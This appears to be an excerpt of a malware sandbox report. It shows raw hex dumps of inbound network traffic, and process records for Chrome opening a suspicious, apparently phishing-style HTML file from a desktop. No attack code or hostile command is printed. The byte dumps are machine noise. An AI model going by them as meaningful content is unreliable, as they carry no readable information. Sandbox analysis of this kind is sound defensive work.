8d ee a4 5f 4b 1a f3 3d ad 6a c8 eb d5 63 e9 1e 0f 93 e3 f2 41 c6 18 fe 84 8e 01 12 83 e6 d7 4a f8 9f 62 98 ce 4f 57 55 b2 
6c 38 8f b9 89 e5 c3 3a 18 d4 a8 27 f3 8e c6 5a f2 fd 86 fa e0 ed d7 c8 7e f9 22 11 43 30 3b ac 08 5f fd 6a 34 36 eb 92 6f 
c9 47 0c 4d 3c 93 c9 2c 6a 8c c6 ec 3b 94 57 b3 
Data Ascii: L_8_;-'z=xr\pmv,NphNx2~$@665nZHx)$3[ZvU%;{z&B)$[={KrJu_K=jcAJbOWUl8:'Z~"C0;_j46oGM<,j;W

Timestamp
kBytes
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Direction Data
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2022-05-13 14:42:09 UTC 9598 IN Data Raw: 40 28 e3 f4 13 d3 0f 77 b3 39 50 2d 7f 0a a4 e4 97 81 38 df 2c b7 03 68 b5 c8 3d 45 fb 2a d9 99 75 36 02 9d 
d3 a2 02 6c 07 89 ac da 14 95 e3 10 cc 49 02 c4 02 be 16 f8 76 54 16 65 73 27 c6 ca 57 c0 9d 4c 59 d1 5b af 7f e5 2a 7b 
43 56 f5 4d 65 70 43 65 07 b8 23 c9 8c 45 3e 5f 94 20 dc 11 ad e6 23 40 3e 35 d7 aa 3c 19 d9 98 4f 7b 60 16 e3 c3 87 26 
26 90 ca dd f6 20 0b 7c 8d 7a be bd b2 73 df 80 5c 5c 27 e3 70 d6 14 2d b7 76 e5 94 8e aa c3 aa f8 8a ea 76 92 60 b3 9b 
95 1c 6c d1 b2 81 ea 49 aa 3b 74 6b 76 95 1d 09 1d 6b 25 59 2a 60 f4 ef db 0f 7b e3 f2 f2 be 0e 6c 81 66 7b ba 6e ea 50 
8b 6c 1d e4 1d 69 5f 5f 5c 99 cc 9e 85 c6 62 2e 24 8d 24 c4 cb 30 24 07 7d 48 5e cd bf 2a e4 b0 c3 f9 0d ee 13 d3 22 c0 
dc f8 f7 57 35 99 b5 51 1f 09 95 23 b3 fa af ba 40 db 4a 
Data Ascii: @(w9P-8,h=E*u6lIvTes'WLY[*{CVMepCe#E>_ #@>5<O{`&& |zs\\'p-vv`lI;tkvk%Y*`{lf{nPli__\b.$$0$}H^*"W5Q#
@J

2022-05-13 14:42:09 UTC 9614 IN Data Raw: 53 b5 bf 05 da ff 00 06 5f f7 9b 3b 1b 80 68 0f 07 19 38 f8 cc 81 80 d1 24 56 1b 59 48 f1 ec ae dd 6a b6 b4 23 
99 b6 94 99 ce 00 c5 ed f9 e4 f4 e3 95 a2 52 be 9f a8 d7 f4 c3 8d c4 2f ea b5 ea 2f fb 16 8f 4b e3 fd c6 b9 28 af bd 40 2b 
a5 b5 b8 ec 36 f1 ae 6f ae 49 6e 02 71 24 8a 56 95 67 65 25 18 5b 71 e9 7d 74 ec a9 75 82 40 bd eb ef fe 1f da 1c 6f de 
ae 4c 32 7a 7f f7 15 1d 4c a2 fd 02 a5 f5 24 d6 f4 af 67 08 9f ea 79 0f 29 fb ed 9d ce 71 b2 41 ed 9c 22 d9 0c 46 e7 90 82 
41 6f d2 9f 98 ff 00 f4 d7 5a d1 d7 f9 32 5b 28 3d a7 fb 2f cd fb 95 df 33 97 99 70 e0 67 3b 98 6a c5 8e b6 54 1a 55 5f d8 
aa e0 15 1b 09 e5 38 5e 53 d9 bc ac bc 0e 12 4b c8 60 2a 89 19 95 7c ca 4f d5 72 ba 03 e1 59 ca ba 9e 19 70 eb 82 e7 
d9 3e c9 e3 bd c4 4f 31 ca 96 58 5d ca 63 92 fe 
Data Ascii: S_;h8$VYHj#R//K(@+6oInq$Vge%[q}tu@oL2zL$gy)qA"FAoZ2[(=/3pg;jTU_8^SK`*|OrYp>O1X]c

2022-05-13 14:42:09 UTC 9630 IN Data Raw: 2f a7 1a b2 88 c3 1b d8 5c 8f f2 ae e9 33 47 4b cd e6 c0 91 3b 46 a1 36 31 b8 b9 b8 bd 89 b8 34 48 c8 5f 99 
9e 68 14 a3 91 2b 02 34 1a 00 3a 69 f0 a9 6c a4 58 f1 f9 5c 94 92 24 4a c6 59 64 16 5b 0f ab 4d 3e 06 b3 b5 a1 4b 2a 0f 
52 f6 84 13 71 2a 66 ce 9c 2e 64 6e 19 11 2d fd 32 07 9b 70 fc df 2a f2 f7 6d 6f 83 a7 5d 52 e4 db cb ee fe 45 e3 79 9b 21 
98 3f 50 1b 69 b7 73 1f f2 ae 14 ac fc 9b f6 48 74 be e0 99 84 cf 03 96 24 7e 67 66 b0 b7 d2 b7 a8 74 9e 43 ec 8e 0d 47 
b3 7f 73 d2 14 3c 67 2d ba 4c a6 20 c2 54 0f 32 f6 af 5e a0 f5 a1 57 a9 cd 7b 79 2c 39 6f 79 f2 59 87 21 30 d1 12 24 d0 2d 
ee e4 9d 2e 07 85 6f 5a c9 cc ee 79 af 23 9a b8 d2 c6 90 cc 57 3f 63 2b ca 34 60 c7 f5 77 8e ca 63 ab 30 d9 b2 72 b9 7c 
cb be 43 08 e5 0b 6d d1 6d 00 8f 97 5b d3 c4 41 b7 
Data Ascii: /\3GK;F614H_h+4:ilX\$JYd[M>K*Rq*f.dn-2p*mo]REy!?PisHt$~gftCGs<g-L T2^W{y,9oyY!0$-.oZy#W?
c+4`wc0r|Cmm[A

2022-05-13 14:42:09 UTC 9638 IN Data Raw: 0c 4d 85 5d ed d5 48 d1 f5 7f ed af b3 3f f8 8c 93 f0 a5 96 42 c1 5d a5 23 a5 ba 20 ff 00 55 7c a7 b9 7e ec f4 
74 e0 f5 38 f0 44 57 70 3c e4 5b bf 43 5e 2b 3b 11 94 cf cf 8b 87 e7 31 c3 b8 78 66 57 4f 4e da c4 40 b9 63 fe 96 ad ab 95
fd 0c da 86 15 38 9f 39 cb c7 bc 41 d5 01 ec be bb bf ca b0 4c b8 05 e4 fd ad 85 cb a4 79 86 34 8e 75 20 4a c0 58 c8 a3 
be bb 35 ec 69 41 95 91 5f 26 1d a7 6c 58 14 98 95 0f a6 b2 7d 25 81 b8 0d db d4 69 5d 49 49 83 b4 19 ae 77 81 ca f7 0b 
c3 c9 73 66 38 25 c5 1b 62 8f 19 8e a6 fa 97 3f e0 2b ab 5c 57 08 ce cc 37 87 cc e2 78 6e 7e 2c 77 b7 aa f1 81 b6 fb d5 
c1 ed 04 f4 3e 15 8d 93 89 04 c2 7d d5 ed fc 4c 0c fc 3c ec 40 16 27 bc be 9a 0f ab cd df de 3b aa 13 2a 0d c6 6f 0f c6 73 
58 c9 95 2d d6 35 3b 95 c6 8c 09 ed f0 34 aa c1 
Data Ascii: M]H?B]# U|~t8DWp<[C^+;1xfWON@c89ALy4u JX5iA_&lX}%i]IIwsf8%b?+\W7xn~,w>}L<@';*osX-5;4

2022-05-13 14:42:09 UTC 9654 IN Data Raw: 53 fc 69 88 89 e0 8d cf f4 76 81 db d9 fc 2a 90 88 5c 18 ac ac 07 e3 ad 30 15 d8 b1 dc 16 c4 74 37 bf e3 53 
05 0f da ce 3f ab 2d d2 fd 97 d2 a0 62 96 8e 22 09 95 47 62 dc 5c ff 00 1a 62 82 23 3c 43 cc 14 16 eb e5 53 6a 63 82 29 
b2 61 4b 75 bb 76 28 26 9c 0e 01 41 81 f4 00 e9 d8 7a 7c e9 88 09 f3 25 e9 11 06 c4 f4 36 b5 6a 91 30 57 65 4d 27 d4 db 
49 bf 7d fe 57 ad 52 11 10 cc 53 b6 e7 51 d3 68 a7 01 07 3f 23 15 ec 50 b3 77 83 4d 21 40 1c d9 ba 9d ab 6e db 75 aa 81 
c0 8a ec cb 60 05 fa eb da 68 01 65 47 9a cf 29 51 61 a0 1d 68 11 cb 14 d1 d9 ac a0 5f a9 eb 7a 60 4b b9 d4 80 13 c9 60 
6d df 52 ca 08 f5 b7 2b 2c 0d 66 02 fb 4e 9a 78 7f 95 44 7c 94 2c 12 41 90 81 77 30 63 6d 4f 43 fe 54 9a 80 81 c7 1d b6 
37 e6 61 f4 f8 8e e3 48 63 52 74 52 22 97 c8 dd bf 51 ff 
Data Ascii: Siv*\0t7S?-b"Gb\b#<CSjc)aKuv(&Az|%6j0WeM'I}WRSQh?#PwM!@nu`heG)Qah_z`K`mR+,fNxD|,Aw0cmOCT
7aHcRtR"Q

2022-05-13 14:42:09 UTC 9670 IN Data Raw: c4 c7 dc c9 b1 94 fe 45 2c 2d 5a e1 0b 20 32 4b 1b 2b 6d 8e d7 e8 4d cf 5f 9d 44 84 10 a3 13 ae db 91 a9 ef 
b5 48 c2 1d b1 97 e9 56 b1 b1 d4 8b 0a a7 02 c8 e5 97 ed db 7c 20 0b 8d 35 bd 4f 03 23 96 5c ac 93 66 37 00 6b 70 2f f0 
a6 f2 04 f1 44 f2 23 2e a1 6d 7b db b2 94 00 b8 58 f1 ea 32 64 0b a0 2b af f3 a6 ab 3c 84 86 e3 01 2c 8c 61 93 71 4e 80 
82 41 ff 00 97 8d 35 ae 41 da 03 24 c1 8e 51 69 9d 16 40 2e 76 f7 7c 6a d6 98 f2 4f 70 6c 6c 49 a1 cc 02 29 07 93 41 bb 
ad ab 45 56 4f 62 c7 23 1f 21 18 35 fd 41 b8 69 6b 56 8e 8d 02 ba 64 02 59 e2 66 c7 98 33 39 24 8e c5 03 f0 ac da f0 52 
62 46 1c 79 57 79 ef 6e c0 7c 3b 6d 59 fd 65 76 18 b3 86 56 08 6c e1 b6 fc c5 44 0c 82 77 76 76 01 c2 31 ec 26 fa 77 52 
80 12 57 9d d0 ae df 32 6b 73 7b 53 90 05 89 5e 48 9a 55 
Data Ascii: E,-Z 2K+mM_DHV| 5O#\f7kp/D#.m{X2d+<,aqNA5A$Qi@.v|jOpllI)AEVOb#!5AikVdYf39$RbFyWyn|;mYevV
lDwvv1&wRW2ks{S^HU

2022-05-13 14:42:09 UTC 9678 IN Data Raw: c6 23 74 03 cb 60 57 4b 9f 11 54 04 64 7a 6a 01 26 e7 af 94 5e 94 00 b2 6f 88 2c d8 ec 5d 98 58 ab da d4 9c 
21 8d 11 b6 2a 91 24 4a 81 c5 fe af 30 3f e9 22 94 81 1c 73 58 13 22 10 87 40 19 ad f3 f9 d3 4c 03 7e d9 b2 54 04 51 a7 
c5 be 57 ad 95 7b 70 44 c1 1f db 45 86 6f 34 6a 49 ed bd 88 bd 0e bd 79 04 e4 1a 5c 6c 76 61 e9 b1 0c 3a 97 ec f8 5a a1 
c7 82 86 47 00 67 32 06 04 af 5d da 5e 9a 00 65 86 2d c5 c8 25 8f 69 3a 6b dd 42 11 24 a6 68 24 1b d7 50 46 bd 47 c8 
d3 6e 00 96 1f 51 83 cc 1d d6 dd 4d 8f e1 a5 52 10 64 6b 93 22 84 8d 03 80 6e 48 1b 6a d2 6f 81 61 10 8e 3a 44 25 b2 19 
54 de d6 0d 73 f8 50 ea d6 42 64 68 fb 48 d4 7f 4d a4 94 69 7d f6 a9 56 1c 0c 9d dd 4d a3 8f 69 62 01 6d ed f8 6b 47 60 
81 ac aa 76 c7 1b 22 bb 03 b8 92 48 24 50 04 ac b2 63 c0 aa 
Data Ascii: #t`WKTdzj&^o,]X!*$J0?"sX"@L~TQW{pDEo4jIy\lva:ZGg2]^e-%i:kB$h$PFGnQMRdk"nHjoa:D%TsPBdhHMi
}VMibmkG`v"H$Pc

2022-05-13 14:42:09 UTC 9694 IN Data Raw: 97 cd d9 f1 a9 6d 78 1a fc 85 e3 2f 2b 34 5f 6f 04 aa 76 8d 01 90 5c 5f bb 5a b4 df 02 70 3e 65 93 05 01 c9 9d 
c3 9e a8 c3 70 24 77 1b f4 a5 c0 b9 15 39 69 14 a3 7d cc 57 23 e8 d8 6c 3c 0d 1d d8 fa 92 cf ee 79 64 25 5a 18 24 8d 75 
d0 1d ba 55 3d a2 e8 07 91 c9 40 26 8d 92 35 40 c3 ce 10 5c 5e fd 6c dd b5 9b b1 49 09 9d c8 46 d2 6e 89 08 5b 58 69 
7d 3b 69 37 23 48 9e 59 61 81 a2 58 a5 93 22 2b de ca b6 da 7e 06 98 89 2f 33 ef 60 01 32 6b 77 00 5a dd c6 87 56 12 
45 02 9c a9 91 5a 32 6f a5 b6 f4 27 ba b3 55 f0 54 92 b4 b9 b8 f7 85 06 d8 90 dd ae 03 13 4e 5a 02 08 e4 85 f7 36 4c 72 
12 4d ee a0 0b 5f bf c6 84 d7 91 90 67 1c 59 e1 29 14 92 14 8f 55 0e 2f af cb a1 ab 64 90 e1 98 f2 15 d6 4f 54 b5 87 94 
01 7b f7 db ba a6 10 12 48 3e c2 45 60 4b 27 6d c6 dd 3b 6a 
Data Ascii: mx/+4_ov\_Zp>ep$w9i}W#l<yd%Z$uU=@&5@\^lIFn[Xi};i7#HYaX"+~/3`2kwZVEZ2o'UTNZ6LrM_gY)U/dOT{
H>E`K'm;j

2022-05-13 14:42:09 UTC 9710 IN Data Raw: 34 ab fa 9c 13 f6 20 73 c1 4f 31 19 5e a2 db f3 0b ff 00 96 b4 7d 0c 3e d4 4b f6 d0 a3 5e 25 2d 7d 35 be bf 8d 
52 d6 91 2e ed 92 c6 d2 63 ca aa d1 31 43 ad 95 74 1f 8d 68 b0 4b ca 0f 8b 95 c2 ff 00 b6 cc 55 af a1 65 bd 6b dd 11 d5 
8b 2e 4c 2e db a3 91 98 8d 3e 91 63 55 24 83 48 fc 7c a4 bc 8f 31 b7 55 50 d6 17 f0 f0 ac ac d3 34 40 f0 c0 b8 a8 cd 8b 
1c aa 8d d1 d8 5c b1 ac fa c7 05 4f c8 d9 31 33 e6 5d cc 0b ba f5 0a a6 e7 fe a3 51 6d 76 65 2b a2 78 31 32 e2 40 59 4a 
c4 75 0b 7d 41 ac de bb 1a 2b a3 a7 8f d7 3a 93 65 1d 57 53 58 be c6 98 04 fe d9 30 6d 18 bb 91 f9 81 d3 e1 49 26 f9 41 
28 86 38 93 1e 4d b2 46 64 d0 e9 7d 2f 56 b0 4b c9 34 32 c8 15 9a 22 3d 62 3e 85 1a 01 5b 56 d0 64 d0 70 e4 64 54 07 
3b 6b 58 5c 28 eb af 4e 95 d2 b6 7c 98 ba 7c 1c 39 58 e2 
Data Ascii: 4 sO1^}>K^%-}5R.c1CthKUek.L.>cU$H|1UP4@\O13]Qmve+x12@YJu}A+:eWSX0mI&A(8MFd}/VK42"=b>[Vdp
dT;kX\(N||9X

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 283 of 286



2022-05-13 14:42:09 UTC 9714 IN Data Raw: f1 11 42 64 13 df 20 5b fa 6f 72 0f ce d5 6d 56 04 9b 24 47 4c 78 40 71 10 24 79 09 56 db 7e ed 7a 53 40 27 
21 14 b9 30 20 81 22 7c a1 ab 08 96 db 47 f8 d4 d9 48 27 00 63 8c cd 44 49 24 85 8d 85 88 1d f5 9b a3 2f b2 1f 6c 79 81 
54 88 44 e0 0b 96 24 d8 fc 2d 4b 00 0d 1f 1c 26 3b 25 9a 20 49 3a f6 d4 aa c8 e4 2f 07 8b 95 91 e3 c6 91 89 ff 00 48 b0 
3f 1b d6 d5 a7 c1 9b b1 cf c3 4f 13 fa a7 6b b1 04 91 a0 23 ff 00 75 37 46 83 b4 8d 8b 0e 5c 8c 53 3c 45 4e a4 b0 03 cd 
61 d9 f0 a5 18 09 22 4c 98 e7 5d a9 12 2c d1 8b 2b 2b 15 27 e3 4a 64 70 07 85 20 4c a0 33 3d 56 91 4e 85 18 5c 52 5c 
e4 65 c1 3c 51 4f 52 3c 87 42 c7 55 75 26 c4 56 b8 33 c9 30 9a 36 99 46 3c b0 b4 6e 2c 54 29 06 ff 00 e9 2d d6 9c af 01 
07 66 cf 93 8b 14 66 7c 60 00 ba ee 27 53 7e fa ce cf f0 5a 
Data Ascii: Bd [ormV$GLx@q$yV~zS@'!0 "|GH'cDI$/lyTD$-K&;% I:/H?Ok#u7F\S<ENa"L],++'Jdp L3=VN\R\e<QOR<
BUu&V306F<n,T)-ff|`'S~Z

2022-05-13 14:42:09 UTC 9730 IN Data Raw: f3 c0 ba 83 4f 9e cd 93 bb 2a 29 e3 27 a9 65 dc 05 fc 2a 7b 4b c8 e0 b1 6c 3c 4f 50 4f 08 47 62 b6 70 d1 8f e4 
6b 4e a8 99 64 79 7c 50 90 2a 63 6e de 45 95 43 5a e0 f8 52 7a fe 03 b1 59 1f 06 f1 3e d6 8e 4d d7 d5 92 c7 e5 ad 47 d6 
57 72 48 23 cc 1b a2 9e 5f fc 7b 9b 33 af d2 3c 7b 29 24 c1 b4 46 de 94 b6 4d e2 42 2f b5 c4 56 53 6e f2 7b 6a 46 42 be 
e2 6f 47 ed 73 10 21 5f a6 c2 ed f8 1e 94 bb f8 61 d4 b2 8b 9f c7 58 55 f1 88 40 45 98 48 b7 1a 76 80 34 ad 7e c1 40 ab 
ce cd 3a 18 78 e6 69 9b f3 3a 00 81 7e 5d b4 77 9e 05 d4 72 49 22 13 2b 23 bb fe b6 b6 96 ef 15 60 03 cc 66 e3 64 3a c5 
93 1b aa d8 1d db 34 3e 3a 56 57 6b c8 d2 21 ca e1 b1 27 41 3e 1e 42 fa 80 5d 7b 0e 9f c6 b3 b5 17 82 95 be 41 f1 b1 9b 
02 45 8f 3a 49 03 38 b9 fc c2 de 16 bd 4a 51 c8 db 9e 
Data Ascii: O*)'e*{Kl<OPOGbpkNdy|P*cnECZRzY>MGWrH#_{3<{)$FMB/VSn{jFBoGs!_aXU@EHv4~@:xi:~]wrI"+#`fd:4
>:VWk!'A>B]{AE:I8JQ

2022-05-13 14:42:09 UTC 9746 IN Data Raw: 97 13 c1 62 32 f0 5a ce d2 2e f3 a8 5b 96 fe 15 a2 b2 13 4c 78 0f 2a 6e 0d 65 1d 01 5b 0d 7b ab 45 93 3b 60 
e6 82 7d a1 a4 d8 51 7a 92 0d 5c 19 15 d2 e5 61 09 82 95 66 5e f1 d3 f8 75 a8 76 52 5a ab 1a fc de 32 b7 a6 c2 54 55 16 
07 6e 86 ff 00 ca a1 ee 48 d1 6b 6c 11 64 8f 93 52 67 32 b2 8f a5 42 d8 7c cd 60 ed db 93 64 ba 91 18 1b 1e 2d 92 e3 80 
40 eb 63 73 59 a9 5e 0b fe e0 ef 28 10 2a 95 1b 6f d4 8d 6f de 4d 2e d8 08 26 82 46 8a 45 11 c6 25 63 a9 61 73 fc 3a 56 
95 7f 04 d8 b6 83 31 a5 8c c5 95 1c 90 a8 37 f2 29 f3 78 5a ba 56 79 30 0d c7 c2 56 bb c4 82 30 3a 33 0b 6a 7e 34 41 52 
3a 27 68 e4 78 64 92 22 7a 0d 37 12 7e 14 80 64 d8 59 32 14 2f 90 23 4b 8b 00 36 d2 ea df 91 f6 48 64 bc 73 32 f9 e4 06 
31 7b 16 17 6f c7 5a 87 ac a5 72 b2 43 89 8e e5 64 51 6b 
Data Ascii: b2Z.[Lx*ne[{E;`}Qz\af^uvRZ2TUnHkldRg2B|`d-@csY^(*ooM.&FE%cas:V17)xZVy0V0:3j~4AR:'hxd"z7~
dY2/#K6Hds21{oZrCdQk

2022-05-13 14:42:09 UTC 9753 IN Data Raw: 64 ec fe 0b 79 84 51 c4 aa 12 c4 0f a9 8d 74 e0 80 52 e5 7a 81 b3 be f4 9e 01 0b f7 18 c5 01 97 60 b1 f2 86 ef 
ac dd 91 69 31 c8 e1 df 73 0b 27 5d 74 bf e3 53 d9 0e 04 59 25 6c 8f 5a 22 a1 40 b0 b6 b4 26 db 91 e1 0e cb 49 72 1a c9 
27 a6 a0 6a 14 0f e7 43 ab 63 56 82 31 05 a3 3b 59 99 bb 01 6b 52 eb 01 25 7b 71 ef 27 95 c9 45 3d 7c cc c7 e5 d9 5c 
ee ad 9b 2b 41 ff d4 f1 42 61 48 82 c2 6c 8c 2d b5 c6 d1 f2 af 4c f3 04 83 29 81 fb 39 8b 3a 13 a6 d6 16 f8 5f ad 34 c2 08 
72 f0 ef 2a 45 0c 7b ae 7c c0 3f 94 0f 8d 4b 43 0f f4 9b 8f 86 ec d1 c4 a4 fd 17 dd 7f 8d ab 64 a0 96 0d 9d c7 c0 ec 92 85 
52 ed ad 96 db 7f 0a 2f 45 e0 13 03 91 32 22 bc 6f 8e 92 42 7a a8 1b b4 f1 3d 95 ce d4 1a 26 56 e4 e3 61 c2 e1 d7 06 55 
dc 41 04 1b 00 7b bb ab 16 92 f0 5e 43 66 c2 c3 cc 
Data Ascii: dyQtRz`i1s']tSY%lZ"@&Ir'jCcV1;YkR%{q'E=|\+ABaHl-L)9:_4r*E{|?KCdR/E2"oBz=&VaUA{^Cf

2022-05-13 14:42:09 UTC 9769 IN Data Raw: bb 38 fb 5f 02 41 77 56 d3 bc d2 fa 6a 5f 76 42 38 0e 3e 23 61 19 3f ee d0 51 f5 55 09 dd b0 d4 e0 f0 88 bf a4 
87 f9 55 f5 46 72 c7 2c 5c 3e 29 37 30 ac 9d 80 d4 45 51 aa 92 c7 1e 4c 18 c6 e8 bd 0d 84 76 5a 9f ea 19 05 e5 32 f0 13 
11 be cd d0 65 b1 01 76 eb 6f f2 ac ee d4 60 a4 9f 92 b6 2e 23 d6 8c b9 72 b2 2d ae 74 24 9f 1a 2b eb ab 29 25 ee 87 00 
87 db f3 65 4c c6 69 b7 21 e9 a7 f8 54 ff 00 8e 3f b8 9f 17 db 50 05 67 76 67 17 d7 a0 ad 6b eb af 24 3d ac 99 78 48 a6 
d0 1b 05 ec a7 fe 3a 12 da c2 24 e3 65 89 6d 00 59 11 6e 4a 31 3a fe 14 3d 51 c0 fb 37 c9 58 fc 5b b8 0f 36 39 0d d6 c1 
fa 7c 8d 47 d7 f8 1b bf e4 e1 83 88 41 69 7d 71 6e cb 9b 7f 0a 6e ab cc 89 59 f8 1f 1e 1f 1f 90 a5 71 19 b4 3a ab 39 5b 9f 
85 47 5a be 0d 25 ae 42 f1 f1 c6 38 31 18 40 27 a1 
Data Ascii: 8_AwVj_vB8>#a?QUUFr,\>)70EQLvZ2evo`.#r-t$+)%eLi!T?Pgvgk$=xH:$emYnJ1:=Q7X[69|GAi}qnnYq:9[
GZ%B81@'

Timestamp
kBytes
transferred

Direction Data

• chrome.exe

• chrome.exe

Click to jump to process

Statistics

Behavior
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Target ID: 0

Start time: 16:39:59

Start date: 13/05/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation  "C:\Users\user\Desktop\#Ud83d#Udcde_0072520589
037.html (2).html

Imagebase: 0x7ff7f6290000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

Key Path Completion Count Source Address Symbol

Key Path Name Type Data Completion Count Source Address Symbol

Key Path Name Type Old Data New Data Completion Count
Source
Address

Symbol

HKEY_CURRENT_US
ER\Software\Goo
gle\Update\ClientState
\{8A69D345-D564-
463c-AFF1-
A69D9E530F96}

dr unicode 0 1 success or wait 1 7FF7F62CFC4B RegSetValueEx
W

Target ID: 1

Start time: 16:40:01

Start date: 13/05/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1596,14513
621473907241117,5746487209409969036,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-
handle=1912 /prefetch:8

Imagebase: 0x7ff7f6290000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

System Behavior

Analysis Process: chrome.exe PID: 5748, Parent PID: 460

General

File Activities

Registry Activities

Key Value Modified

Analysis Process: chrome.exe PID: 5924, Parent PID: 5748

General
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Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

⊘ No disassembly

File Activities

Disassembly
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